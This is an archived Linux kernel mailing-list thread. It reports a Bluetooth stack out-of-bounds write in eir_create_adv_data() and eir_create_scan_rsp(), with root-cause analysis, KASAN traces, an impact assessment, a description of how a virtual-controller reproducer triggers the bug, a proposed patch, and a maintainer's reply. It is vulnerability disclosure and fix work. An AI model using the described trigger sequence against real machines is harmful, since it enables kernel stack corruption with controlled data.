mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* Re: [BUG] Bluetooth: stack out-of-bounds write in eir_create_adv_data() and eir_create_scan_rsp() when a controller stops reporting LE Extended Advertising (seen on 7.3.1)
       [not found] <CADq=QSxw-5LstC5McTqfsp9NaVrsUcemepw2g_TJXNrdpgFdRQ@mail.gmail.com>
@ 2026-11-10 15:11 ` Luiz Augusto von Dentz
  0 siblings, 0 replies; 2+ messages in thread
From: Luiz Augusto von Dentz @ 2026-11-10 15:11 UTC (permalink / raw)
  To: Piyus Kedia; +Cc: marcel, linux-bluetooth, linux-kernel, Kapil Vaswani

Hi Piyus,

On Mon, Nov 9, 2026 at 11:57 PM Piyus Kedia <piyus@iiitd.ac.in> wrote:
> diff --git a/net/bluetooth/eir.c b/net/bluetooth/eir.c
>
> --- a/net/bluetooth/eir.c
>
> +++ b/net/bluetooth/eir.c
>
> @@ -300,6 +300,16 @@ u8 eir_create_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size)
>
>
>
>  skip_flags:
>
>      if (adv) {
>
> +        /* The instance's length was validated against max_adv_len()
>
> +         * when it was set, and max_adv_len() depends on a controller
>
> +         * capability that is re-read on every bring-up - so by now it
>
> +         * can be larger than the caller's buffer. Refuse rather than
>
> +         * overflow; a truncated AD structure would not be parseable
>
> +         * by a peer anyway.
>
> +         */
>
> +        if (ad_len + adv->adv_data_len > size)
>
> +            return 0;
>
> +

We probably need to unregister the advertising instances if the
controller changes its max size.

>          memcpy(ptr, adv->adv_data, adv->adv_data_len);
>
>          ad_len += adv->adv_data_len;
>
>          ptr += adv->adv_data_len;
>
> @@ -342,7 +352,7 @@ static u8 create_default_scan_rsp(struct hci_dev *hdev, u8 *ptr)
>
>      return eir_append_local_name(hdev, ptr, scan_rsp_len);
>
>  }
>
>
>
> -u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr)
>
> +u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size)
>
>  {
>
>      struct adv_info *adv;
>
>      u8 scan_rsp_len = 0;
>
> @@ -357,6 +367,10 @@ u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr)
>
>      if ((adv->flags & MGMT_ADV_FLAG_APPEARANCE) && hdev->appearance)
>
>          scan_rsp_len = eir_append_appearance(hdev, ptr, scan_rsp_len);
>
>
>
> +    /* See the matching check in eir_create_adv_data(). */
>
> +    if (scan_rsp_len + adv->scan_rsp_len > size)
>
> +        return 0;
>
> +
>
>      memcpy(&ptr[scan_rsp_len], adv->scan_rsp_data, adv->scan_rsp_len);
>
>
>
>      scan_rsp_len += adv->scan_rsp_len;
>
> diff --git a/net/bluetooth/eir.h b/net/bluetooth/eir.h
>
> --- a/net/bluetooth/eir.h
>
> +++ b/net/bluetooth/eir.h
>
> @@ -10,7 +10,7 @@
>
>  void eir_create(struct hci_dev *hdev, u8 *data);
>
>
>
>  u8 eir_create_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size);
>
> -u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr);
>
> +u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size);
>
>  u8 eir_create_per_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr);
>
>
>
>  u8 eir_append_local_name(struct hci_dev *hdev, u8 *eir, u8 ad_len);
>
> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
>
> --- a/net/bluetooth/hci_sync.c
>
> +++ b/net/bluetooth/hci_sync.c
>
> @@ -1563,7 +1563,8 @@ static int hci_set_ext_scan_rsp_data_sync(struct hci_dev *hdev, u8 instance)
>
>          }
>
>      }
>
>
>
> -    len = eir_create_scan_rsp(hdev, instance, pdu->data);
>
> +    len = eir_create_scan_rsp(hdev, instance, pdu->data,
>
> +                  HCI_MAX_EXT_AD_LENGTH);

Ditto

>
>
>      pdu->handle = adv ? adv->handle : instance;
>
>      pdu->length = len;
>
> @@ -1609,7 +1610,7 @@ static int __hci_set_scan_rsp_data_sync(struct hci_dev *hdev, u8 instance)
>
>      if (instance)
>
>          hci_dev_lock(hdev);
>
>
>
> -    len = eir_create_scan_rsp(hdev, instance, cp.data);
>
> +    len = eir_create_scan_rsp(hdev, instance, cp.data, sizeof(cp.data));

Ditto.

>
>
>      if (instance)
>
>          hci_dev_unlock(hdev);

Next time, send it as a proper patch, so CI can pick it up and Sashiko
can analyze the changes. Also, and also address the claims about it
being material to security@kernel.org don't hold anymore since you
just published it to linux-bluetooth.

^ permalink raw reply	[flat|nested] 2+ messages in thread

* [BUG] Bluetooth: stack out-of-bounds write in eir_create_adv_data() and eir_create_scan_rsp() when a controller stops reporting LE Extended Advertising (seen on 7.3.1)
@ 2026-11-10  5:22 Piyus Kedia
  0 siblings, 0 replies; 2+ messages in thread
From: Piyus Kedia @ 2026-11-10  5:22 UTC (permalink / raw)
  To: marcel, Luiz Augusto von Dentz
  Cc: linux-bluetooth, linux-kernel, Kapil Vaswani

[-- Attachment #1: Type: text/plain, Size: 18042 bytes --]

Hi Marcel and Luiz,

We would like to report two KASAN stack-out-of-bounds writes in
net/bluetooth/eir.c.
Both writes share the same root cause. Both are reached from the
HCIDEVUP ioctl, on the kernel's automatic restart of a stored
advertising instance.
Please find a reproducer in section 5 and a suggested fix in section 6.

  BUG: KASAN: stack-out-of-bounds in eir_create_adv_data+0x2ab/0x440
       net/bluetooth/eir.c:303
  BUG: KASAN: stack-out-of-bounds in eir_create_scan_rsp+0x119/0x1a0
       net/bluetooth/eir.c:360

In both cases a 220-byte memcpy() writes to a 31-byte buffer that is part of
a 32-byte struct on the caller's stack, overrunning it by 189 bytes.

Attached:

  eir-oob.c                      reproducer; one program, either bug
  eir-fix.diff                   the patch in section 6, as a file
  kasan-eir_create_adv_data.txt  full KASAN report for eir.c:303
  kasan-eir_create_scan_rsp.txt  full KASAN report for eir.c:360


1. Root cause
=============

An advertising instance keeps its data in adv_info, which is sized for
extended advertising:

  /* include/net/bluetooth/hci_core.h */
  struct adv_info {
          ...
          __u16   adv_data_len;
          __u8    adv_data[HCI_MAX_EXT_AD_LENGTH];     /* 251 */
          ...
          __u16   scan_rsp_len;
          __u8    scan_rsp_data[HCI_MAX_EXT_AD_LENGTH];
  };

Those two lengths are validated once in userspace by
tlv_data_is_valid() -> tlv_data_max_len() -> max_adv_len():

  /* include/net/bluetooth/hci_core.h */
  #define ext_adv_capable(dev) (((dev)->le_features[1] & HCI_LE_EXT_ADV))

  #define max_adv_len(dev) \
          (ext_adv_capable(dev) ? HCI_MAX_EXT_AD_LENGTH : HCI_MAX_AD_LENGTH)

So with a controller that reports LE Extended Advertising, up to 251 bytes
are accepted and stored. The data is then packaged for the controller
down one of two paths, chosen by ext_adv_capable() *as it is at that moment*:

  /* net/bluetooth/hci_sync.c */
  int hci_update_adv_data_sync(struct hci_dev *hdev, u8 instance)
  {
          if (!hci_dev_test_flag(hdev, HCI_LE_ENABLED))
                  return 0;

          if (ext_adv_capable(hdev))
                  return hci_set_ext_adv_data_sync(hdev, instance);

          return hci_set_adv_data_sync(hdev, instance);
  }

The extended path renders into a 251-byte DEFINE_FLEX buffer and is fine.
The legacy path renders into a 32-byte struct on the stack:

  /* net/bluetooth/hci_sync.c */
  static int hci_set_adv_data_sync(struct hci_dev *hdev, u8 instance)
  {
          struct hci_cp_le_set_adv_data cp;           /* { u8 length;    */
          u8 len;                                     /*   u8 data[31] } */

          memset(&cp, 0, sizeof(cp));

          len = eir_create_adv_data(hdev, instance, cp.data, sizeof(cp.data));

and eir_create_adv_data() takes that size but does not apply it to the
following copy:

  /* net/bluetooth/eir.c */
  u8 eir_create_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size)
  {
          ...
                  /* Only add the "Flags" if it fits together with the
                   * instance advertising data; drop it rather than
                   * overflow the buffer.
                   */
                  if (flags &&
                      (ad_len + eir_precalc_len(1) +
                       (adv ? adv->adv_data_len : 0) <= size)) {
          ...
  skip_flags:
          if (adv) {
                  memcpy(ptr, adv->adv_data, adv->adv_data_len);   /* :303 */
                  ad_len += adv->adv_data_len;
                  ptr += adv->adv_data_len;
          }

The only test against `size` decides whether the optional three-byte FLAGS
field fits.  It does not gate the copy on line 303, which writes
adv->adv_data_len bytes unconditionally.

eir_create_scan_rsp() is the same bug, with the difference that it has no size
parameter at all:

  /* net/bluetooth/eir.c */
  u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr)
  {
          ...
          memcpy(&ptr[scan_rsp_len], adv->scan_rsp_data,
                 adv->scan_rsp_len);                              /* :360 */

and its legacy caller passes the same 31-byte field:

  /* net/bluetooth/hci_sync.c, __hci_set_scan_rsp_data_sync() */
          struct hci_cp_le_set_scan_rsp_data cp;
          ...
          len = eir_create_scan_rsp(hdev, instance, cp.data);


2. Why the one-time validation does not hold
============================================

As far as we understand, the following invariants must hold for memory safety.

  1. ext_adv_capable() reads hdev->le_features[1], which is memcpy'd
     straight out of the controller's LE Read Local Supported Features
     reply (net/bluetooth/hci_event.c:1241) and re-read on every bring-up.
     Currently, this is not cleared or validated when it changes.

  2. The adv_info instances are not dropped across HCIDEVDOWN/HCIDEVUP.
     hci_adv_instances_clear() is called from exactly one place,
     hci_release_dev() (net/bluetooth/hci_core.c:2739), i.e. when the
     device goes away for good. hci_dev_close_sync() only cancels each
     instance's rpa_expired_cb work; the list and the lengths survive.

  3. There are no checks that compare stored instance against the current
     max_adv_len(hdev).  hci_powered_update_adv_sync() simply reads
     every instance it finds:

       /* net/bluetooth/hci_sync.c, hci_powered_update_adv_sync() */
       /* Call for each tracked instance to be scheduled */
       list_for_each_entry_safe(adv, tmp, &hdev->adv_instances, list)
               hci_schedule_adv_instance_sync(hdev, adv->instance, true);

As a result 220 bytes are accepted while the controller claims extended
advertising, and are later written even when it does not.  The write happens
inside the HCIDEVUP ioctl itself, from the kernel's own restart path - no
further userspace call is needed once the instance is registered.

For what it is worth, eir_create_per_adv_data() looks like a third instance
of this but is not: per_adv_data and its only caller's buffer are both
HCI_MAX_PER_AD_LENGTH, so the sizes agree.


3. KASAN reports
================

Both from Linux 7.3.1 (base commit 41f174fd422b) with CONFIG_KASAN=y,
CONFIG_KASAN_OUTLINE=y, CONFIG_KASAN_STACK=y on x86_64.  The two
traces below are cut down to the
critical frames; the full reports are attached as
kasan-eir_create_adv_data.txt and kasan-eir_create_scan_rsp.txt.  The task
name is the fuzzer process that first hit this; section 7 has the
same two reports as the attached reproducer produces them.

The banner says "-dirty" and the traces have no [inline] frames in
net/bluetooth, so to be explicit about what is local: no .c or .h file under
net/bluetooth or include/net/bluetooth is modified.  The only change in the
subsystem is a line of compiler flags appended to net/bluetooth/Makefile by
our coverage harness -

  subdir-ccflags-y += -fno-inline -fno-inline-functions \
                      -finstrument-functions-after-inlining ...

  ==================================================================
  BUG: KASAN: stack-out-of-bounds in eir_create_adv_data+0x2ab/0x440
                                     net/bluetooth/eir.c:303
  Write of size 220 at addr ffffc900043cf9c1 by task syz-executor/14158

  CPU: 1 UID: 0 PID: 14158 Comm: syz-executor Not tainted
        7.3.1-g41f174fd422b-dirty #8 PREEMPT(full)
  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
  Call Trace:
   <TASK>
   kasan_report+0xd2/0x110 mm/kasan/report.c:595
   __asan_memcpy+0x40/0x70 mm/kasan/shadow.c:106
   eir_create_adv_data+0x2ab/0x440 net/bluetooth/eir.c:303
   hci_set_adv_data_sync+0xb0/0x220 net/bluetooth/hci_sync.c:1359
   hci_update_adv_data_sync+0xa9/0xf0 net/bluetooth/hci_sync.c:1383
   hci_start_adv_sync+0x5e/0xe0 net/bluetooth/hci_sync.c:1922
   hci_schedule_adv_instance_sync+0x2ef/0x330 net/bluetooth/hci_sync.c:2119
   hci_powered_update_adv_sync+0x27d/0x2d0 net/bluetooth/hci_sync.c:3526
   hci_powered_update_sync+0xf0/0x370 net/bluetooth/hci_sync.c:3694
   hci_dev_open_sync+0x72e/0x7d0 net/bluetooth/hci_sync.c:5459
   hci_dev_do_open+0x46/0xe0 net/bluetooth/hci_core.c:431
   hci_dev_open+0x1d6/0x210 net/bluetooth/hci_core.c:487
   hci_sock_ioctl+0x536/0x680 net/bluetooth/hci_sock.c:1139
   sock_do_ioctl net/socket.c:1325 [inline]
   sock_ioctl+0x581/0x830 net/socket.c:1446
   __se_sys_ioctl+0xce/0x140 fs/ioctl.c:583
   do_syscall_64+0x170/0x540 arch/x86/entry/syscall_64.c:84
   entry_SYSCALL_64_after_hwframe+0x77/0x7f
   </TASK>

  The buggy address belongs to stack of task syz-executor/14158
   and is located at offset 33 in frame:
   hci_set_adv_data_sync+0x0/0x220

  This frame has 1 object:
   [32, 64) 'cp'
  ==================================================================

  ==================================================================
  BUG: KASAN: stack-out-of-bounds in eir_create_scan_rsp+0x119/0x1a0
                                     net/bluetooth/eir.c:360
  Write of size 220 at addr ffffc9000a9ff9c1 by task syz-executor/9585

  Call Trace:
   <TASK>
   kasan_report+0xd2/0x110 mm/kasan/report.c:595
   __asan_memcpy+0x40/0x70 mm/kasan/shadow.c:106
   eir_create_scan_rsp+0x119/0x1a0 net/bluetooth/eir.c:360
   __hci_set_scan_rsp_data_sync+0xd2/0x270 net/bluetooth/hci_sync.c:1612
   hci_update_scan_rsp_data_sync+0xa9/0xf0 net/bluetooth/hci_sync.c:1638
   hci_start_adv_sync+0xb9/0xe0 net/bluetooth/hci_sync.c:1926
   hci_schedule_adv_instance_sync+0x2ef/0x330 net/bluetooth/hci_sync.c:2119
   hci_powered_update_adv_sync+0x27d/0x2d0 net/bluetooth/hci_sync.c:3526
   hci_powered_update_sync+0xf0/0x370 net/bluetooth/hci_sync.c:3694
   hci_dev_open_sync+0x72e/0x7d0 net/bluetooth/hci_sync.c:5459
   hci_dev_do_open+0x46/0xe0 net/bluetooth/hci_core.c:431
   hci_dev_open+0x1d6/0x210 net/bluetooth/hci_core.c:487
   hci_sock_ioctl+0x536/0x680 net/bluetooth/hci_sock.c:1139
   ...
   </TASK>

  The buggy address belongs to stack of task syz-executor/9585
   and is located at offset 33 in frame:
   __hci_set_scan_rsp_data_sync+0x0/0x270

  This frame has 1 object:
   [32, 64) 'cp'
  ==================================================================

KASAN reports and lets execution continue, so the 220-byte write completes.
Whether the frame's canary is among what gets clobbered varies from run to run.
The runs here mostly carried on past the report, and one ended as

  Kernel panic - not syncing: stack-protector: Kernel stack is corrupted
  in: hci_set_adv_data_sync+0x200/0x220
  ...
   __stack_chk_fail+0x1e/0x20

On a kernel built without KASAN there is no report at all and the stack
protector may be the only defense that detects the out of bound write.

4. Impact
=========

This is privileged-to-privileged escalation, since /dev/vhci plus
the HCIDEVUP/HCIDEVDOWN ioctls and an HCI_CHANNEL_CONTROL socket all want
root / CAP_NET_ADMIN. vhci is only the cheap way to control two successive
feature replies.

However, this may be more critical due to the source of inputs.
le_features is whatever the controller said, and the window opens whenever
a controller answers LE Read Local Supported Features differently across
two resets - buggy firmware, a controller whose capability is suppressed on
the second bring-up, or anyone in a position to tamper with the HCI
transport (a hostile USB dongle, a UART/SDIO path an attacker can reach).
The oversized data does not have to be set by the attacker either: on a
normal desktop an application registers it through bluetoothd's
org.bluez.LEAdvertisingManager1, which is how an advertisement with up to
251 bytes of data gets stored in the first place.

The overwrite is 189 bytes of attacker-chosen data past a 32-byte stack
object, in a frame that is about to return - so it is a stack-frame
overwrite with controlled contents, not just a crash.

I am reporting this on the public list because the path I can demonstrate
needs CAP_NET_ADMIN.  If you consider the hostile-controller path above to
be in scope, say so and I will take it to security@kernel.org instead.


5. Reproducer
=============

One program, eir-oob.c, reaches either sink depending on its argument.
Build and run it as root in a VM with /dev/vhci and a KASAN kernel:

    gcc -O2 -o eir-oob eir-oob.c
    ./eir-oob             # eir_create_adv_data(),  eir.c:303
    ./eir-oob scan_rsp    # eir_create_scan_rsp(),  eir.c:360

It creates a virtual controller, answers its init sequence from a forked
child, registers a 220-byte advertising instance while answering LE Read
Local Supported Features with HCI_LE_EXT_ADV set, and then takes the device
down and back up answering the same command without it.  KASAN fires inside
the second HCIDEVUP.

Expect "Bluetooth: hci0: unexpected cc 0x.... length: 250 > N" warnings on
the console: the responder answers every command it does not special-case
with a maximum-length Command Complete, since a reply shorter than the
opcode's hci_cc entry expects is a hard error while a longer one is only a
warning.


6. Suggested fix
================

The minimal fix is to make both functions respect the destination size,
which also gives eir_create_scan_rsp() the parameter it is missing.  Patch
below (against 7.3.1; applies with no fuzz).

Returning 0 rather than truncating is deliberate: a truncated AD structure
would not be parseable by a peer anyway, and both callers already treat 0
as "nothing to send".

There is a second-order question we have not addressed because it is a policy
call rather than a memory-safety one: with this patch an instance that was
registered while the controller supported extended advertising is silently
not advertised after it stops.  Dropping such instances (or clamping them)
in hci_powered_update_adv_sync() may be the better behaviour, but that is
your call to make.

diff --git a/net/bluetooth/eir.c b/net/bluetooth/eir.c
--- a/net/bluetooth/eir.c
+++ b/net/bluetooth/eir.c
@@ -300,6 +300,16 @@ u8 eir_create_adv_data(struct hci_dev *hdev, u8
instance, u8 *ptr, u8 size)

 skip_flags:
  if (adv) {
+ /* The instance's length was validated against max_adv_len()
+ * when it was set, and max_adv_len() depends on a controller
+ * capability that is re-read on every bring-up - so by now it
+ * can be larger than the caller's buffer. Refuse rather than
+ * overflow; a truncated AD structure would not be parseable
+ * by a peer anyway.
+ */
+ if (ad_len + adv->adv_data_len > size)
+ return 0;
+
  memcpy(ptr, adv->adv_data, adv->adv_data_len);
  ad_len += adv->adv_data_len;
  ptr += adv->adv_data_len;
@@ -342,7 +352,7 @@ static u8 create_default_scan_rsp(struct hci_dev
*hdev, u8 *ptr)
  return eir_append_local_name(hdev, ptr, scan_rsp_len);
 }

-u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr)
+u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size)
 {
  struct adv_info *adv;
  u8 scan_rsp_len = 0;
@@ -357,6 +367,10 @@ u8 eir_create_scan_rsp(struct hci_dev *hdev, u8
instance, u8 *ptr)
  if ((adv->flags & MGMT_ADV_FLAG_APPEARANCE) && hdev->appearance)
  scan_rsp_len = eir_append_appearance(hdev, ptr, scan_rsp_len);

+ /* See the matching check in eir_create_adv_data(). */
+ if (scan_rsp_len + adv->scan_rsp_len > size)
+ return 0;
+
  memcpy(&ptr[scan_rsp_len], adv->scan_rsp_data, adv->scan_rsp_len);

  scan_rsp_len += adv->scan_rsp_len;
diff --git a/net/bluetooth/eir.h b/net/bluetooth/eir.h
--- a/net/bluetooth/eir.h
+++ b/net/bluetooth/eir.h
@@ -10,7 +10,7 @@
 void eir_create(struct hci_dev *hdev, u8 *data);

 u8 eir_create_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size);
-u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr);
+u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size);
 u8 eir_create_per_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr);

 u8 eir_append_local_name(struct hci_dev *hdev, u8 *eir, u8 ad_len);
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -1563,7 +1563,8 @@ static int hci_set_ext_scan_rsp_data_sync(struct
hci_dev *hdev, u8 instance)
  }
  }

- len = eir_create_scan_rsp(hdev, instance, pdu->data);
+ len = eir_create_scan_rsp(hdev, instance, pdu->data,
+  HCI_MAX_EXT_AD_LENGTH);

  pdu->handle = adv ? adv->handle : instance;
  pdu->length = len;
@@ -1609,7 +1610,7 @@ static int __hci_set_scan_rsp_data_sync(struct
hci_dev *hdev, u8 instance)
  if (instance)
  hci_dev_lock(hdev);

- len = eir_create_scan_rsp(hdev, instance, cp.data);
+ len = eir_create_scan_rsp(hdev, instance, cp.data, sizeof(cp.data));

  if (instance)
  hci_dev_unlock(hdev);

7. What was and was not checked
===============================

Verified here: the code paths above as shipped in 7.3.1, and that the
attached eir-oob.c reproduces both on an otherwise untainted kernel -

  BUG: KASAN: stack-out-of-bounds in eir_create_adv_data+0x2ab/0x440
  Write of size 220 at addr ffffc9000651f9c1 by task eir-oob/9505
  CPU: 0 UID: 0 PID: 9505 Comm: eir-oob Not tainted
        7.3.1-g41f174fd422b-dirty #10 PREEMPT(full)
   and is located at offset 33 in frame:
  This frame has 1 object:
   [32, 64) 'cp'

  BUG: KASAN: stack-out-of-bounds in eir_create_scan_rsp+0x119/0x1a0
  Write of size 220 at addr ffffc90012f379c1 by task eir-oob/9500
  CPU: 0 UID: 0 PID: 9500 Comm: eir-oob Not tainted
        7.3.1-g41f174fd422b-dirty #10 PREEMPT(full)
   and is located at offset 33 in frame:
  This frame has 1 object:
   [32, 64) 'cp'

- at the same instruction offsets as the two reports in section 3.

Not checked: how far back this goes, and whether something in
bluetooth-next already addresses it. We have no upstream history available
for this tree, so please treat the version above as "where it was seen",
not as "where it starts".  The shape of the code suggests every version
that has both eir_create_adv_data()'s unbounded copy and the
ext_adv_capable()-keyed dispatch in hci_update_adv_data_sync() is affected.

Please let us know if you need any further information.

Thanks and regards,
Piyus Kedia
Kapil Vaswani

[-- Attachment #2: kasan-eir_create_adv_data.txt --]
[-- Type: text/plain, Size: 6033 bytes --]

==================================================================
BUG: KASAN: stack-out-of-bounds in eir_create_adv_data+0x2ab/0x440 net/bluetooth/eir.c:303
Write of size 220 at addr ffffc900043cf9c1 by task syz-executor/14158

CPU: 1 UID: 0 PID: 14158 Comm: syz-executor Not tainted 7.3.1-g41f174fd422b-dirty #8 PREEMPT(full) 
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x10e/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x153/0x710 mm/kasan/report.c:482
 kasan_report+0xd2/0x110 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x2d2/0x2e0 mm/kasan/generic.c:594
 __asan_memcpy+0x40/0x70 mm/kasan/shadow.c:106
 eir_create_adv_data+0x2ab/0x440 net/bluetooth/eir.c:303
 hci_set_adv_data_sync+0xb0/0x220 net/bluetooth/hci_sync.c:1359
 hci_update_adv_data_sync+0xa9/0xf0 net/bluetooth/hci_sync.c:1383
 hci_start_adv_sync+0x5e/0xe0 net/bluetooth/hci_sync.c:1922
 hci_schedule_adv_instance_sync+0x2ef/0x330 net/bluetooth/hci_sync.c:2119
 hci_powered_update_adv_sync+0x27d/0x2d0 net/bluetooth/hci_sync.c:3526
 hci_powered_update_sync+0xf0/0x370 net/bluetooth/hci_sync.c:3694
 hci_dev_open_sync+0x72e/0x7d0 net/bluetooth/hci_sync.c:5459
 hci_dev_do_open+0x46/0xe0 net/bluetooth/hci_core.c:431
 hci_dev_open+0x1d6/0x210 net/bluetooth/hci_core.c:487
 hci_sock_ioctl+0x536/0x680 net/bluetooth/hci_sock.c:1139
 sock_do_ioctl net/socket.c:1325 [inline]
 sock_ioctl+0x581/0x830 net/socket.c:1446
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xce/0x140 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x170/0x540 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x42738b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007ffe7ed0bc60 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000008 RCX: 000000000042738b
RDX: 0000000000000000 RSI: 00000000400448c9 RDI: 0000000000000008
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 000000000dc403a8 R14: 00007ffe7ed0bdff R15: 0000000000000002
 </TASK>

The buggy address belongs to stack of task syz-executor/14158
 and is located at offset 33 in frame:
 hci_set_adv_data_sync+0x0/0x220 include/linux/fortify-string.h:549

This frame has 1 object:
 [32, 64) 'cp'

The buggy address belongs to a vmalloc virtual mapping
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x44517
memcg:ffff88801ebfbf02
flags: 0x4fff00000000000(node=1|zone=1|lastcpupid=0x7ff)
raw: 04fff00000000000 0000000000000000 ffffea00011145c8 0000000000000000
raw: 0000000000000000 0000000000000000 00000001ffffffff ffff88801ebfbf02
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x29c2(GFP_NOWAIT|__GFP_HIGHMEM|__GFP_IO|__GFP_FS|__GFP_ZERO), pid 14157, tgid 14157 (syz-executor), ts 13167688309676
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1b6/0x210 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x17c3/0x1820 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x1df/0x4f0 mm/page_alloc.c:5436
 alloc_pages_mpol+0x208/0x410 mm/mempolicy.c:2486
 alloc_frozen_pages_noprof mm/mempolicy.c:2557 [inline]
 alloc_pages_noprof+0x99/0x200 mm/mempolicy.c:2577
 vm_area_alloc_pages mm/vmalloc.c:3689 [inline]
 __vmalloc_area_node mm/vmalloc.c:3914 [inline]
 __vmalloc_node_range_noprof+0x5d1/0x1160 mm/vmalloc.c:4104
 __vmalloc_node_noprof+0x89/0xc0 mm/vmalloc.c:4165
 alloc_thread_stack_node kernel/fork.c:359 [inline]
 dup_task_struct+0x24d/0x6d0 kernel/fork.c:930
 copy_process+0x653/0x28c0 kernel/fork.c:2143
 kernel_clone+0x221/0x760 kernel/fork.c:2784
 __do_sys_clone kernel/fork.c:2926 [inline]
 __se_sys_clone kernel/fork.c:2910 [inline]
 __x64_sys_clone+0x139/0x1a0 kernel/fork.c:2910
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x170/0x540 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 13763 tgid 13763 ts 13117218043703 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x67e/0x710 mm/page_alloc.c:1463
 __free_contig_range_common+0x11c/0x2a0 mm/page_alloc.c:7072
 __free_contig_range mm/page_alloc.c:7117 [inline]
 free_pages_bulk+0x47/0xc0 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3461 [inline]
 vfree+0x1a7/0x330 mm/vmalloc.c:3510
 delayed_vfree_work+0x3f/0x60 mm/vmalloc.c:3414
 process_one_work kernel/workqueue.c:3396 [inline]
 process_scheduled_works+0x8e2/0x10d0 kernel/workqueue.c:3479
 worker_thread+0x501/0x750 kernel/workqueue.c:3560
 kthread+0x26a/0x2c0 kernel/kthread.c:436
 ret_from_fork+0x475/0x8c0 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffffc900043cf880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffffc900043cf900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffffc900043cf980: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 f3 f3 f3 f3
                                                       ^
 ffffc900043cfa00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffffc900043cfa80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================

<<<<<<<<<<<<<<< tail report >>>>>>>>>>>>>>>

SYZFAIL: failed to recv rpc
fd=3 want=4 recv=0 n=0 (errno 22: Invalid argument)

<<<<<<<<<<<<<<< tail report >>>>>>>>>>>>>>>


[-- Attachment #3: eir-fix.diff --]
[-- Type: text/x-patch, Size: 2848 bytes --]

diff --git a/net/bluetooth/eir.c b/net/bluetooth/eir.c
--- a/net/bluetooth/eir.c
+++ b/net/bluetooth/eir.c
@@ -300,6 +300,16 @@ u8 eir_create_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size)
 
 skip_flags:
 	if (adv) {
+		/* The instance's length was validated against max_adv_len()
+		 * when it was set, and max_adv_len() depends on a controller
+		 * capability that is re-read on every bring-up - so by now it
+		 * can be larger than the caller's buffer. Refuse rather than
+		 * overflow; a truncated AD structure would not be parseable
+		 * by a peer anyway.
+		 */
+		if (ad_len + adv->adv_data_len > size)
+			return 0;
+
 		memcpy(ptr, adv->adv_data, adv->adv_data_len);
 		ad_len += adv->adv_data_len;
 		ptr += adv->adv_data_len;
@@ -342,7 +352,7 @@ static u8 create_default_scan_rsp(struct hci_dev *hdev, u8 *ptr)
 	return eir_append_local_name(hdev, ptr, scan_rsp_len);
 }
 
-u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr)
